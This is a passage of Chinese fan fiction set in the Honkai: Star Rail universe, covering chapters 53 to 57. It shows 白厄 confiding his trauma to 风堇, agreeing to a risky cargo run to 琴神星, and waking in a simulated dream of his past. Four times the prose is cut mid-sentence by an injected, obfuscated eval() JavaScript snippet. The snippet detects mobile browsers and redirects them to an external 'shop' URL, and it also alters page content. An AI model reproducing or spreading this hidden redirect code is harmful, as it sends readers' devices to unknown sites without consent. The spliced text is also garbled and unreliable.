“没事的白宝,阿特拉斯那边的设备确实不太适合完全的人形生物,现在这个数据才应该是对的——刚刚确实吓到我了。” 叫白宝了说明问题不大,白厄想,风堇毫无缘由的焦虑终于暂得平息,白厄也小小地松了口气——他倒是不怎么在乎检查数据,但伙伴的焦虑难免让他有点难受。风堇刚想离开,又似乎想起了什么,重又坐了回去。 “我还是在这里看完你的精神检查报告吧,”她吐了吐舌头,“不然如果数据也对不上,还要再折返回来这里做检查……哎呀……这,这可真是……” 风堇翻来翻去,她的脸色又严肃起来。 “数据又错了?”白厄问道。 “这个数据应该没错。”风堇看上去有点沮丧,“但我还挺希望它出错的……白宝,你最近有按时吃药吗?” 白厄乖乖地点了点头。 “好,记得定时复查。”风堇说,“阿特拉斯的精神治疗方案寰宇知名,我之前也去那里进修过。” “所以你来仙舟也是为了进修吗?” “是的,”风堇点了点头,“升格结束之后,翁法罗斯的许多人都出现了很严重的精神问题,包括疯狂、闪回、躁狂、抑郁——即使只是浮光掠影一样的蜻蜓点水,三千万世的片段也会对大家造成很大的伤害,甚至有人迷失自我,深陷迷茫——昏光庭院当然应当在这个时候肩负使命,而关于这方面,仙舟有全宇宙最优秀的研究成果,在灰宝的牵线搭桥下,我们有不少人来到仙舟学习新的知识,也采买和制作了不少药物……翁法罗斯的大家最开始还是会很痛苦,现在已经好多啦。” “你呢,风堇?”白厄认真地问,“你也很痛苦吧?” “有一点,不过没关系。作为医者,我应该给大家展现的当然是乐观的一面啦,白宝。“风堇笑了笑,小伊卡在她身边嘀嘟嘀嘟,但她似乎想起来什么,神情很快又低落下去。 “即使是我,在升格结束的前几天里,也会时常迷茫于我是谁,但大家比我更需要帮助,过去的我是谁并不是现在的我该追寻的问题,对于我来说,在升格之后坚守自己的岗位与职责,帮助更多的人走出病痛,这才是医者的职责所在。” “但是白宝,你呢?”她轻轻地说。 “你也还在痛苦呀。” 53. 过去都是真的 “我已经不痛苦了。”白厄摇摇头。 “可是身体不会骗人,白宝。”风堇认真地看着他,“不要欺骗自己,痛的话就说出来,说出来会好受一点。” “我好像落下了什么东西,”刚刚还坐在一边的万敌突然说,“我出去一趟。” “我好像也……” “白厄阁下。” 风堇的声音又冷下来,万敌的速度不慢,就在白厄愣神的一瞬间,他已经飞快地溜了出去——顺便还贴心地关上了门。 白厄:“……” 他实在是没想到兄弟在关键时刻竟如此掉链子,恶劣程度简直直逼当年往他蛋白粉里加糖的自己,相较之下前者似乎还要更恶劣一点,可跟着万敌一起溜走的机会转瞬即逝,于是他只能转过头来,看着风堇认真的脸。 “我真的不痛苦。”他再次认真重申,“风堇,我已经没有痛苦的理由了,相比较而言,大家会更痛苦吧——而且这痛苦大多数还是由我带来的。” “我们都知道翁法罗斯的实际的灾难来源并不是你呀,而且痛苦从来无法比较,也不应该被比较,白厄阁下。”风堇仍然认真,她声音轻柔,“我是昏光庭院的医者,医者总会治愈一切伤痛,和我说一说吧。” “即使……即使我曾将武器刺进你的身体?”退无可退,他踌躇着、下意识地开口,突然反应过来自己说了什么,于是自嘲地笑了一声,闭紧了嘴巴。 “即使是这样,白厄阁下。”预想之中的激烈反应并未出现,风堇神色不变,神情坦然地鼓励,“没关系的,想说什么都可以,我在听,我不是阿特拉斯人,没办法从技术层面实现共感,可白宝,我们毕竟曾经一起走过那段痛苦又黑暗,却仍然有着欢笑和希望的时光……由此,也许我能在某些时刻和你稍微共情,尽管我所经历的、我所记忆的,和你相比起来微不足道,可我相信,即使只是一缕微光,也总有它存在的意义。” “我……” 沉默片刻后,他终于又尝试着开口,可反复几次,还是以失败告终,风堇并不催促,她只是耐心地等待——顺便捂住了小伊卡的滴嘟滴嘟。 “嘘,小伊卡,不许说话。”她轻轻地说。 如果一定要说的话,要从哪里开始说呢?他看着风堇坚定的目光,意识却发散到遥远的地方。要说从最初的最初,他以为一切尘埃落定后,来古士突然出现的可憎的脸?要说第一次轮回时黄金裔们别无二心地选择将火种交给他,那一次再创世未曾诞生一个半神,最终翁法罗斯葬于黑潮之下?要说一次一次地说服同伴拿出火种交给他?要说那刻夏老师从支持到反对?要说风堇难以压抑的悲鸣?要说他曾想一睹那悬锋的图书馆,却因火种温度不受控制地从内而外散发而出,那些精美绝伦的、世所罕见的书,毁于熊熊的火光?还是要说火种在他的身体里烫出滚烫的温度,烫得他记忆模糊,不能言语? 要在受害者的面前说这些吗? “我……” 风堇仍然安静地等待着他,现在连小伊卡也静了下来,整个房间寂然无声,静的甚至听得到心跳声。 要轻飘飘地道歉吗? 卡厄斯兰那是卑劣的罪人,是可耻的刽子手,同铁墓一并死去,或是在翁法罗斯升格时消失在宇宙之中,应该是他最好的结局。 即使所见到的同伴们百般安慰,尽管他试图在他们面前表现正常,可这一招对风堇没用,白厄知道自己在自欺欺人,但数据不会骗人,身体的反应也不会骗人,午夜梦回他时常惊醒,恍惚间他会以为眼前的一切都是幻觉,翁法罗斯真的升格成功了吗?还是一切都是他临死前的幻梦?若是真的是幻梦,大家的态度为何与他所想的截然不同? 没有预料中劈头盖脸的痛骂与嘲讽,没有冷漠的无视与酷辣的言辞,每个人似乎都在尝试着向深渊中的他伸出绳索——可他们自己同样伤痕累累。 只不过是痛苦的人拯救痛苦的人,绝望的人抓紧绝望的人。 如果一直深陷自怨自艾的深渊,对他们抛出的绳索置之不理,是不是另一种傲慢? 能救自己的,从来都只有自己。 “我是哀丽秘榭的白厄。”他沉默了半晌,终于说出了故事的第一句话。 其实本质上来说,这是句显而易见而毫无用处的话,但风堇仍然鼓励地、微笑地望着他,说出这句话后,再将其他的话说出口仿佛变得简单了不少。 他开始说一些想到哪说到哪的故事,从哀丽秘榭的儿时伙伴到一捧路边的花,从小小的木雕到侵袭而来的黑潮,从最初的新兵到奥赫玛的救世主,再到一次一次的劝说,一次一次地阻止再创世,一次一次的轮回,哀丽秘榭的麦子永远金黄,奥妲塔和希洛尼摩斯永远温柔,悬锋的王储会从嘲讽地称呼他为救世主到祝福他常战常胜,理性的学者也会一次一次地相信他的猜想将火种交给他,门径的泰坦永远会开启未知的前路,阿格莱雅也总是将他当做最完美的黄金裔培养,昔涟曾问他翁法罗斯的愿望为何如此不讲道理,而在此后漫长的岁月中他又总会想起小小的岁月祭司说出这句话的表情。他时常在黎明云崖鉴宝,又总会买到赝品,云石天宫总会有来来往往的人。那些相似又不同的景物,那些相似又不同的人,他们与他相见,他们与他相识,然后他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119714|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们都会死,而他只能带着这些记忆独自走向下一个轮回,他在某一个轮回曾悲哀地意识到纵然相似,可过去的人永远不会再回来,每一次他所杀死的,每一次黑潮所吞噬的,都是无法复现的生命。过去的一切都是假的,而回忆对他来说已经是一条没有尽头的路,他知道自己也许走在错误的道路上,可他没法回头,他总没法回头,一次一次,侵晨的剑尖一次一次对准他珍重的同伴们,生命的重量被火种灼烧得模糊不清,连同他的自我也已经无处追寻——可他的自我,是这个故事里最无关紧要的东西。 他说了很多,没有刻意地理顺逻辑,他只是颠三倒四地、翻来覆去地说,有些故事似乎被他反复讲了很多遍,可风堇没有说话,她只是抱着小伊卡,耐心地听。 终于,他的故事到达了尾声,那是最后来到翁法罗斯的灰白的黎明,和冉冉升起的,新生的希望。这是一段冗长的讲述,而再冗长的故事,也终有尽头,终于,他停了下来,风堇递给他一杯水,又轻轻地、安抚似的拍了拍他的手背。 “说出来会好受很多,白厄阁下。”风堇郑重道,“那些故事漫长又有其重量,如果只是一个人背负的话,即使对于您来说,也太过沉重了……虽然我也许做不到什么,但至少,讲出来的话,这就不再是您一个人的负担了。” “我,我们,大家都会一起背负的,没关系的,白宝,没关系的。” 少女的眼睛亮亮的,她轻柔地、温和地、像每一次治愈受伤的人一样,一句一句地安慰。 没关系的,有医生在这里呢,医生的使命就是治病救人,我在这里呢。 不要怕,不要怕,我在这里。 “在漫长的轮回中,我曾将各位的性命置之度外。”白厄低声地、沮丧地说。 风堇微微睁大了眼睛,而后,她笑了。 “白厄阁下,既然我刚刚说过,痛就说出来,那我同样不会对你隐瞒我的痛苦。正如我所说的,升格结束时,过去的记忆对于翁法罗斯的每个人来说,都是虎视眈眈的盘踞的幽灵,但,人和人之间互相了解的方式,只有尝试着设身处地地带入,所以,我曾经冒昧地尝试着带入了您的经历——然后我发现,我也没有任何办法,那时的翁法罗斯,那时的逐火之旅,本就是无解的死局——也许处在您的位置,我会更早地迷失自我也未可知。” “我不会说我不难过,我不痛苦,可这痛苦的来源并不是你,罪魁祸首也早已随着再创世烟消云散,那是高维存在的恶劣玩笑,白宝,你尽力了。” “试试放过自己吧,白宝,这会很难,但没关系,这一次,我们都会在的。” 54. 真客气,回来还有纪念品 实际上那天后来的事他记得不太清楚,从小他便被教导要做个男子汉,男子汉怎么能哭呢,他曾经是哀丽秘榭最优秀的战士,后来他是奥赫玛最优秀的战士,再后来,他是整个翁法罗斯最优秀的战士——毕竟那时候的翁法罗斯也只剩下了他一个人,但当他讲完那个冗长得和他迄今为止的人生差不多的故事的时候,他的眼泪还是不受控制地流了下来。 “我……” “哎呀,”风堇似乎突然发现了什么,“小伊卡,你怎么把香囊撞开了?” 小伊卡:嘀嘟? “什么香囊?” “仙舟特产,”风堇说,“安神凝心,唯一的缺点就是拆开会有刺激性的……阿嚏……气味……阿嚏……白宝……阿嚏……你好像对这个……还挺敏感的……” “好像是。”他揉了揉眼睛,眼泪不受控制地流了下来,“算迈德漠斯跑得快。” 这么说着,眼泪就更加凶猛地涌了上来,他慌忙地拿纸去擦,却怎么也擦不干净,风堇在一边打着喷嚏,小伊卡上下飞了两下,左看看又看看,似乎确定了自己是屋子里唯一的幸存者。 小伊卡:嘀嘟~ 好在这种刺激性气味挥发性也强,在风堇开窗之后,受害者很快找回了自我,白厄的眼泪终于停了下来,风堇也终于不再打喷嚏,她狠狠地揉了揉小伊卡,又刷刷地写了张处方。 “白厄阁下,按处方时间来说,您的药似乎要吃完了,”她说,“这些是应急用的药物,但是如果时间充裕的话,记得回阿特拉斯复诊。” “好。”白厄说。 他拎着药物走出去的时候,迈德漠斯正百无聊赖地到处张望,也不知道他究竟把什么东西落在了外面,万敌看了看他,又看了看风堇,冥思苦想,终于得出了个能解释得通的结论。 “你们把辣椒水打翻了?” “哪来的辣椒水?”白厄反驳。 “其实是我给大家买了点香囊,本来打算的是拿回翁法罗斯送给大家的,正好在这里遇到了你们,给,一人一个……阿嚏……小伊卡刚刚弄坏了一个,所以味道的刺激性有点强。”风堇揉了揉鼻子。 万敌翻来覆去地看着那个漂亮的香囊,似乎在思考着什么,又似乎下定了某种决心。 “多谢。”他说。 “没事,”风堇摆摆手,“你们还会在仙舟待几天呀?” “明天一早就走,”白厄说,“再晚的话可能会耽误工作。” “我都说了你要不辞职算了,”万敌在一旁接话,“悬锋人向来信奉‘要想让一个勇士臣服于你,你必须供给他充沛的酬劳,让他健壮如狮子’……狮子就不说了,这工资你能吃饱饭吗?” “我们包吃包住。”白厄说。 “这点糖衣炮弹就足够收买你吗?救世主?”万敌嘲讽道。 “当然。”白厄理所当然地点点头。 万敌:“……” “好吧,”风堇说,她看上去有点遗憾,不过又很快振作起来,“翁法罗斯到仙舟确实有点远,但毕竟交通互通——等我进修结束回到翁法罗斯,我们可一定要聚一聚。” “嗯,一言为定。”万敌说。 “如果我有机会回到翁法罗斯的话。”白厄说。 “机会多的是,白宝,敌宝,那就再见啦?”风堇微笑着挥挥手,小伊卡上下翻了两圈,万敌和白厄同样笑着挥了挥手和风堇告别。当风堇的身形彻底消失,白厄回过头,看见万敌已经开始研究那个香囊。 “这么感兴趣?”他调侃。 “不,”万敌一板一眼地说,“我在想怎么能不动声色地再把这东西撒到你眼睛里。” “迈德漠斯!” 第二天一早,辞别热情挽留的景元和彦卿后,白厄再次坐上了回到阿特拉斯的星槎特快——方跃星不是中转站点,而仙舟的星槎特快联通各星系之间的大中转站,万敌去匹诺康尼倒是可以直达,但星槎特快确实比普通列车快了不少,几乎缩短了3/4的时间。 “不知道搭档他们的星穹列车会不会更快一点。”他坐在车上望向车窗外的风景,漫无目的地想入非非,想了想,他抽出了一张纸,刷刷地写下了这几天的所见所闻。 “倒是可以夹进笔记里。”他想,记录这些旅行时遇到的事已经成为了他的新习惯,虽然经历不多,但每每翻看笔记时,他总能想到那时他做那些事的心情,开拓者时不时地会给他发一些新的见闻,丹恒偶尔也会和他聊些风土人情。开拓者的消息之后,丹恒给他发了一整篇仙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119715|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舟行走指南––其中有一条就是不要被路边的古董摊欺骗––偶尔星期日还会有些知识补充,而照片由“世界上最可爱的美少女三月七”拍摄——在对方的强烈要求下,白厄也开始这样称呼她。他的相册里躺着几张来自遥远星系的照片,那是仙舟的昼与夜,还有那本没被那刻夏签过名的《如我所书》,也被他带了回来,中转到阿特拉斯时,他还顺便复查了一下——又开了一堆药回来。 “收获颇丰啊。” 货运舰仍然停在原地,当他打开舱门走进去的时候,正好撞见谢尔微,后者对他手上的一堆东西相当好奇,他便随手掏出了盒糕点塞给了谢尔微。 “给,”他说,“纪念品,我给大家都带了。” “白厄阁下!”谢尔微眼睛放光,“你怎么知道我喜欢这个……等等,您这是哪来的斗篷?” “朋友送的。”白厄随口答道。 至于糕点,其实是无意间看到了冰箱里的包装盒,但白厄没说,他笑了笑,又掏出了一些东西——这些是送给格莱和阿卡索尔的。 “我们是不是要出发了?”他看了看时间,“我记得原定出发去琴神星的时间是三个系统时之后。” “原定是这样,但琴神星那边好像出了点问题,”谢尔微边吃边含混不清地说,“现在舰长正在沟通返航相关事宜……说起来白厄阁下,如果我们返航的话,你会和我们一起吗?到时候舰长这边应该会给你出推荐信和推荐手续,公司正式员工的待遇比你现在好多了。” “我还要考虑考虑,”白厄说,他又好奇,“琴神星出了什么问题?” “不知道,具体情况是舰长在沟通。”谢尔微心满意足地吞下了最后一点糕点,“您现在说话完全没问题了,阿特拉斯的医生多少还是有点本领——我在阿特拉斯到处转的时候还想拉阿卡索尔一起,可他死活不来,谁知道阿特拉斯究竟怎么得罪了他。” 自己的言语功能不知不觉地恢复,白厄其实有些奇怪,他只能归结于自己刚刚醒来时的说话问题其实是某种心理问题,而现在这种心理问题虽然没完全消失,但也被解决了不少——可有关他的心理问题,这总没法和谢尔微说。 “是啊,也许是不知何处的神明庇佑也说不定。”他随口说道。 55. 幸福……幸福…… “这里是星际和平播报,现在插播一条紧急通知,半个系统时前,琴神星再次出现高能反应,这已经是本月的第三次高能反应,在此,我们敬告大家,无特殊情况请勿前往琴神星……” “一边告诉别人不要去,一边下了死命令要求自己公司的货运舰一定要去……”刚走出来的阿卡索尔听着听着,冷笑了一声,“真是不把底层员工当人。” “可以直接不去吗?”白厄问道。 “不可以,”格莱说,他看上去同样有点发愁,“公司的货运舰虽然名义上归我所有,但每次航行的航线都是固定的,巡航系统会在每一次的星际航行中完全锁定,直至到达任务地点,也就是说,我们的起点、终点、行经地点都是固定的,除非遇到星际乱流或引力潮汐等极特殊情况,如果没有公司高管解锁相关权限,我们没办法自由选择航线的。” “如果……我是说如果,现在有一场突如其来的乱流,让我们的货运舰偏离航向的话……”白厄试探着问道。 “那也不行,”格莱说,“乱流结束后,公司会立刻要求返航,我们那时候在无人星球捡到你,是因为我们的燃料耗尽,而我那时候向上打了补充燃料请示——即使这样,我们也在补充燃料后很快返回了正轨,也就是说,即使有不可抗力,但如果公司不批准返航,我们也仍然要去。” “但是高能反应听起来就很吓人耶,”谢尔微掰着手指算,“能被公司称为高能反应的……唔,虚数坍塌脉冲?绝灭大君?我记得上次铁墓那次灾难公司用的也是这个词……你们说铁墓会不会还没死?毕竟琴神星离翁法罗斯好像也挺近的。” “铁墓应该是死透了。”白厄说,“毕竟后来也没再听到祂的什么消息了。” “哎呀,白厄阁下,你可不知道,这群绝灭大君阴得很,谁知道他们会不会从哪个边边角角冒出来大吼一声我奉星神纳努克之命前来追杀你——这都有可能的。” “你见过绝灭大君?”白厄好奇。 “要是见过他们,我哪还能在这闲聊,”谢尔微心有余悸,“我和你说,白厄阁下,你明显不太了解毁灭命途和绝灭大君,要是虚卒呀或者反物质军团什么的,以你的身手应该还好,但是要是见到绝灭大君带着他们的军团的话,你还是有多远跑多远,传说他们到过的地方寸草不生,还传说他们每个人升格为绝灭大君时都需毁灭些什么以示对毁灭星神的忠诚……总而言之,很可怕的,你可不要不当回事。” “好的,”白厄认真地点了点头,“感谢提醒,下次要是真的遇到绝灭大君,我一定躲得远远的。” “你还是别遇见比较好。”谢尔微使劲摇摇头。 “但现在看起来琴神星应该不得不去了,”格莱叹气,“我刚刚申请的返航、改变航线和延期都被驳回了,上面的意思现在就是让我们按照原定行程,他们的原话是……” “高能反应也有收缩期,你们可以在收缩期送完货物就返程,但行程不变。” “真不是人。”阿卡索尔感叹。 “但没办法了。”格莱愁眉苦脸,想了想,他又说。 “要不你们先走吧,方跃星有其他交通工具,我一个人去送货,之后去另一个接驳点和你们汇合,”格莱说,“要是没有意外,那怎么样都好说,可真的有意外的话,实在犯不着大家为了这点东西一起送死。” “工作期间离舰,打不上卡的话,公司会扣我工资吧?”谢尔微头痛。 “都这时候了,还是别想工资了。”白厄劝慰道。 “而且实际上不会扣工资,”阿卡索尔提醒道,“你忘了?咱们的摄像头坏了,战略投资部没批新的,摄像头连着打卡系统,所以这几天都是我在手动帮大家打卡。” “那也不行。”谢尔微咬了咬牙,似乎下了很大决心,“哪有让舰长自己送死的道理?” “没必要那么紧张,也算不上是送死。毕竟货运舰是我的。”格莱说,“而且他们说的实际没什么问题,高能反应确实有收缩期,送到琴神星的货不多,我一个人应付得来……还有你,白厄,你不是公司的正式员工,试用期又没过,你也下车吧,之前你有点口吃,但现在治好了……回你的星球吧,然后找个新的工作。” “可是舰长您毕竟是以列车护卫的名义雇佣了我,”白厄轻松地笑了笑,“没关系,我和您一起去。” “哦,那现在你被解雇了,试用期双向选择,一会我给你结工资。”格莱无情地说。 “那就让我搭个便车。”白厄坚持。 “我事先说明,我暂时没打算走。”阿卡索尔说,“收拾东西太麻烦了,而且如果再回来看到一堆时空戳被篡改的文件,我会疯的……我不想再写报告了,让我写报告比让我死还难受。” 距离原定出发时间还有半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119716|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个系统时。 “你都说不是送死了还要赶我们下车,舰长,您是不是想一人独占白厄阁下带回来的纪念品?”谢尔微笑嘻嘻地问,她看上去也冷静下来,“那可不行啊。” “舰长先生,我从仙舟回来的时候坐的是特快星槎,”白厄说,说着说着,他一摊手,“现在我身无分文——好歹让我搭个便车,等结束这趟行程再说。” 他并不喜欢多管闲事,但醒来之后货运舰里的人和格莱都对他颇多照顾,他向来有恩报恩,何况他仔细一想,便能想出公司强制要求货运舰去琴神星的原因——从星际航图上看,那里离翁法罗斯已经足够接近,如果是为了唤醒大君【卡厄斯】,这个距离虽然勉强,但也足够了。 他猜想星际和平公司打从让他们秘密运送东西到时光归墟的那一刻起,就没打算让这艘货运舰里的任何人活着回去,但这可不行,他毕竟还拿着格莱的工资,受人之托,忠人之事,单就这趟行程而言,他不可能让这艘货运舰送死,也不可能让公司抓住任何可供搬上谈判桌的砝码。 “走吧,舰长。”阿卡索尔说,“毕竟货运舰好歹还算有点火力支持……公司这么坚持,总会有他们的理由吧……” “比如……封口?”阿卡索尔试探着说,“我们在琴神星就分开的话,真的会比一同去往琴神星更安全吗?” 格莱的眼神隐晦地左右看了看,阿卡索尔比出了一个“嘘”的手势。 “好吧,好吧,”格莱叹了口气,他退了一步,“但到了琴神星之后,谁都不许下车,等待我的下一步安排。” 其他三人都点了点头。 货运舰便按原定时间开始跃迁,可在跃迁即将结束时,广播中突然传出模糊的、嘶哑的、被拉长的声音。 “第……第……第四次……” 但这声音突兀被掐断,又很快被一个清澈悦耳的女声取代,伴随着女声的响起,广播的信号似乎也好了起来。 “大家好。”她的声音仿佛银铃般悦耳,“祝大家幸福。” 接着,那个声音开始重复播放。 “祝大家幸福……祝大家幸福……祝大家幸福……祝大家……” 白厄走上前去,关闭了那台收音机,可声音还在,他向舷窗外看去,金色的光幕拔地而起,声音仍然在循环往复。 “幸福……幸福……” “幸福。” 56. 太好了 “所谓孤立系统,就是环境之间不存在任何物质交换与能量交换的物理系统。其边界具有绝对隔离特性,导致系统内总质量、总能量始终保持恒定。”黑塔说,“而德谬歌和昔涟所锚定的翁法罗斯,理论上应该属于孤立系统——但在宇宙之中,绝对孤立系统是不存在的,一切归于熵增,熵增又归于毁灭,因此,来古士当时倒果为因,推演生命第一因为毁灭,最终才能得以实现。” “人美心善的黑塔小姐,”开拓者举手问道,“那么,这和翁法罗斯有什么关系呢?” “哦,”黑塔说,“我的意思很简单——如果没有外部能量介入,被锚定的翁法罗斯将再次归于毁灭,也就是说,虽然翁法罗斯星体初生,但你们所认识的、所熟知的翁法罗斯的人可能不会再回来,之前我们的原定计划是将纳努克的金血作为升格的燃料——但这需要时间,现在他的金血只会带来异变与毁灭,本来我们预计这个循环会持续几个琥珀纪,直到那枚金血彻底变成无害的能量源,但是由于刚刚的突发状况,德谬歌选择脱离循环,循环的能量被拿走了一半,而这一半能量被供给给了她所孕育的乌托邦––一页永恒。失去这一半能量后,循环很快就会衰竭,由于循环内外时间流速不同,所以循环完全停止的时间会比我们想象得快很多,这点时间绝不足以消弭金血中的毁灭力量。” “那怎么办?”开拓者问道。 “还有一个办法。”黑塔简洁地说。 “用翁法罗斯的说法来说,一次真正的再创世。” 白厄猛然惊醒。 他仍然记得金色的光幕拔地而起,广播中呆板地播报着幸福,他自认意志力和实力都不差,可还是在接近琴神星的一瞬间被拉进这里,即便同为令使,如果在现实世界动手,白厄不觉得自己会毫无察觉地被拉进来,那是梦?动手的人会是谁? 他向前走去,附近空无一人,他似乎并不在货运舰内部,这使他坚定了自己的猜测,这里大概率不是现实世界,如果他在被动手之前完全没察觉到不对,只能说明他对动手之人的熟悉程度,已经让他将之完全当成习以为常的一部分,而能让他如此熟悉的,只有翁法罗斯。 动手的存在,应该与翁法罗斯有关。 会是谁呢? 不是铁墓,他曾身化棺椁封印铁墓千年之久,对铁墓的气息异常熟悉,清楚地知道祂早已死在那场寰宇大战之中,也不是来古士,神礼观众从来只会隔岸观火,他几乎从未亲自下场,如果不是这两位,又不是他,动手者又来自翁法罗斯,那答案几乎只有一个。 德谬歌。 他和德谬歌的交集并不多,实际上真正见到德谬歌的时候他已经几乎失去了所有理智,但他仍然能清晰地分辨她和昔涟的关系,哀丽秘榭走出的小小祭司早已被他杀死在每一次轮回的开头,她不是德谬歌,可德谬歌是她喂养出的果实。德谬歌的脸上永远带着温和的笑意,她说世界温柔待她,她便长成温柔的模样——想到这里,白厄又有点怀疑自己的判断,德谬歌并非恶人,如果动手的人真的是她,那只会有一个理由。 祂失控了。 猜测虽然终究只是猜测,可当猜到这个结果时,白厄还是在心里暗暗地松了口气,琴神星的高能反应如果真的来自德谬歌,至少在祂完全失控之前,所有被卷进来的人应该都会毫发无损——也包括货运舰上的几位。 他走出了光幕。 e5 b7 b2 e6 a3 80 e6 b5 8b e5 88 b0 e4 bb a4 e4 bd bf e7 ba a7 e8 83 bd e9 87 8f ef bc 8c e5 88 a4 e5 ae 9a ef bc 8c e4 b8 b0 e9 a5 b6 e4 bb a4 e4 bd bf ef bc 8c e8 bf 9b e5 85 a5 e6 88 90 e5 8a 9f 附近的景象变换成了他所熟知的模样,不知道是证实了他的猜想,还是因为这是个因人而异的梦境,背后有人拍了拍他的肩膀,他似有所感,呆滞回头。 是他自己。 “老师,”他听到“自己”开朗地问,仿佛他仍是神悟树庭求学时无忧无虑的学生,“那刻夏老师曾经说过,每个人的灵魂都是一颗智种,总会在恰当的时机生根发芽,而您说所谓种子不需阳光雨露,只需足够的能量便能长成新的个体,请问,您和那刻夏老师的观点,是否异曲同工?” ……啊? 白厄感觉自己像是角色扮演游戏里没拿剧本就贸然闯进的演员,他表面沉思不语,大脑却飞速运转,能和那刻夏老师辩论,被自己叫做老师,又在神悟树庭,他所扮演的角色可能是树庭七贤人之一,也可能只是某个学派的学者,刚刚“自己”提到了种子和雨露,应该是莲食学派,可他不记得自己上过莲食学派的课,所以这里的场景不完全依托于他的记忆,但为什么是莲食学派?他低头一望,瞧见了自己的一片衣角。 ……哦,那件充满丰饶味道的斗篷还披在他身上。 “老师?”他听到自己不依不饶。 ……谁能给我补一下剧本啊,白厄绝望地想,自己的敏锐他再了解不过,他是真怕自己一句话回答得不对就被这小子尊师重道地扭送去见阿格莱雅——见的是阿格莱雅还好,见的要是刻律德菈,估计他八成几句话之内就会被她查出破绽被判斩立决,这地方虽然处处透着怪异,但他能感受到面前的“自己”和自己的联系,也正因为这一点,他总害怕这里会和现在的翁法罗斯有什么其他的潜在联系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119717|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “我不这样认为,”他斟酌着言语解答,如果自己来问“他”,多半是因为那刻夏老师和“他”的理念不同——这很正常,那刻夏老师和任何人的理念都不怎么统一,所以他只要表现出否定就好,但还要把握度,毕竟否定得太严重,也许自己当场就会和“他”吵起来,“灵魂与物质从来性质不同,形式不同,那刻夏老……咳,阿那克萨戈拉斯的理论不过无稽的悖逆之谈,人是先天高贵于其他生物的物种,怎么能将人的灵魂与植物的种子画等号?” “哦……”他听到自己沉闷地“哦”了一声,听上去有点失望,但他很快又振作起来,“那,卡厄斯老师,我还想问,您之前用麦种变麦子的魔术,还能再表演一次吗?” ……我还会这个? 赶奇美拉上架,实在没办法,他只好硬着头皮答应下来,他看见面前的“自己”欣喜地拿出一小颗麦种,满怀期待地、眼睛亮亮地看着他。 他已经记不清上一次自己的脸上出现这种表情是在什么时候了。 “当然可以。”他溺爱地答应了曾经的自己的请求,在心里默念了两句地母神赐福,然后硬着头破将指尖的力量贯穿在种子中,他本以为会见到一颗种子的残骸,可那株种子竟真的在他们面前发芽抽叶,最后长出一株饱满的麦穗来。 “哇!”他听到自己兴致勃勃地问,“老师,这个我能学吗?” 三千多万世我都没学会这个,你八成不能学。 “一切皆有可能。”话到嘴边,他还是安慰了一下自己,他看到面前的自己拿着麦子欢天喜地地跑远,心里的疑惑却越来越深。 他来过很多次神悟树庭,但每一次似乎都不是这样天真单纯的模样,毕竟大多轮回中,他能来到神悟树庭的先决条件是黑潮毁灭哀丽秘榭,而他的天真单纯从来都会与哀丽秘榭一同葬于黑潮。既然在这里的他能使用丰饶的力量,他又猜测这里是德谬歌的手笔,答案似乎已经呼之欲出。 他猜想他来到这里的多半不是真身,大概率是因为某种原因,琴神星展开了推演,而他被卷入这种数据推理中,这样才能解释他莫名其妙的丰饶力量来源。推演的结果虽然不明,但…… “是小白吗?”有人在他的身后叫了他一声。 会用小白称呼他……再加上这熟悉又陌生的嗓音。 “别怕,小白,是我。”似乎怕白厄误会,那人又急匆匆地补充。 “我是缇里西庇俄丝。” 他转过头去,看到面前熟悉又陌生的红发女性微笑着看着他,手里还拿着一款怪模怪样的东西,见白厄的目光望去,她大方又坦诚地介绍道。 “这是神谕扭蛋机。” 太好了,白厄想,虽然听不懂,但是看上去补剧本的人似乎终于来了。 57. 这是哪? 漫长的岁月中,他很少见到这样的缇里西庇俄丝。 